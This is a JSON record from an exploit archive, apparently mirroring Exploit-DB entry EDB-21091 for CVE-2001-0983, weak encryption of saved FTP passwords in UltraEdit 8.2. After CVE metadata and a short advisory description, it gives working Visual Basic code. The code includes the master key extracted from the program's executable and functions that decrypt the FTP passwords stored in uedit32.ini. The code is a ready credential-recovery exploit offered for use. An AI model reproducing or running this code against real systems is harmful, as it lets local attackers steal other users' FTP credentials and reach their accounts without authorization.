{"exploit":{"id":"EDB-21091","name":"UltraEdit 8.2 - FTP Client Weak Password Encryption","description":"UltraEdit 8.2 - FTP Client Weak Password Encryption","cves":["CVE-2001-0983"],"author":"E. van Elk","published":"2001-08-23","platform":"windows","type":"local","language":"Text","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/21091","path":"exploits/windows/local/21091.txt","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-21091.txt","vulnerabilities":[{"id":"CVE-2001-0983","state":"PUBLISHED","title":null,"titleSource":null,"description":"UltraEdit uses weak encryption to record FTP passwords in the uedit32.ini file, which allows local users who can read the file to decrypt the passwords and gain privileges.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2001-0983","cvss":{"version":"2.0","baseScore":4.6,"severity":"medium","vectorString":"AV:L/AC:L/Au:N/C:P/I:P/A:P","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2001-0983"},"updatedAt":"2024-08-08T04:37:06.967Z","retrievedAt":"2026-11-26T21:09:17.110Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-21091.png?v=2","url":"https://exploitbin.com/exploits/EDB-21091","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-21091/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-21091/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"source: https://web.archive.org/web/2001/https://www.securityfocus.com/bid/3234/info\n\nUltraEdit is a multi-featured commercial text editor with support for HTML, C/C++, VB, Java, Perl, XML, and C#. It also includes a hex editor and a small FTP client.\n\nUltraEdit's FTP client has a feature which will remember FTP passwords for later use. When passwords are remembered they will be stored on the system using an \"admittedly\" weak encryption algorithm. As a result, it is a fairly trivial task to decrypt the passwords for FTP accounts.\n\nSuccessful exploitation of this vulnerability will allow a local attacker to gain unauthorized access to the FTP sites used by other local users.\n\nThis piece of VB code will decode the passwords stored in uedit32.ini for the FTP accounts\n\n\n' UltraEdit FTP password decryption (stored in uedit32.ini)\n'\n' Taken from the help-file:\n'\n' This checkbox determines if UltraEdit will save the password for later\n' reference. If not the user will be prompted for the password as required. Note\n' ? if the password is saved it is stored on the system. It is encrypted however\n' the encryption mechanism is unsophisticated and should not be relied upon as a\n' method of security.\n\n' Masterkey. Taken from the UltraEdt.exe\nPrivate Const Masterkey = \"sdfkh we;34u[ jwef \"\n\n'Decode a single character\nPublic Function UEDecode(i_Asc, ByVal i_Pos As Integer)\n\ni_Pos = i_Pos Mod 19\nIf i_Pos = 0 Then i_Pos = 19\n\nUEDecode = ((Not i_Asc) And Asc(Mid(Masterkey, i_Pos, 1))) + (i_Asc And ((Not Asc(Mid(Masterkey, i_Pos, 1))) And 127))\n\nEnd Function\n\n'Decode password\nPublic Function UEDecodeString(str_password As String)\n\nDim i As Integer\n\nUEDecodeString = \"\"\n\nFor i = 1 To (Len(str_password) / 2)\nUEDecodeString = UEDecodeString + Chr$(UEDecode(Val(\"&H\" + Mid(str_password, (2 * (i - 1)) + 1, 2)), i))\nNext i\n\nEnd Function","sha256":"e90f21cbd7fd4ee8238fb291d165be3efa58dd3777972a6137eff685e3302502","bytes":1841,"fetchedAt":"2026-11-26T21:09:13.437Z","encoding":"utf-8 (display only; download retains original bytes)"}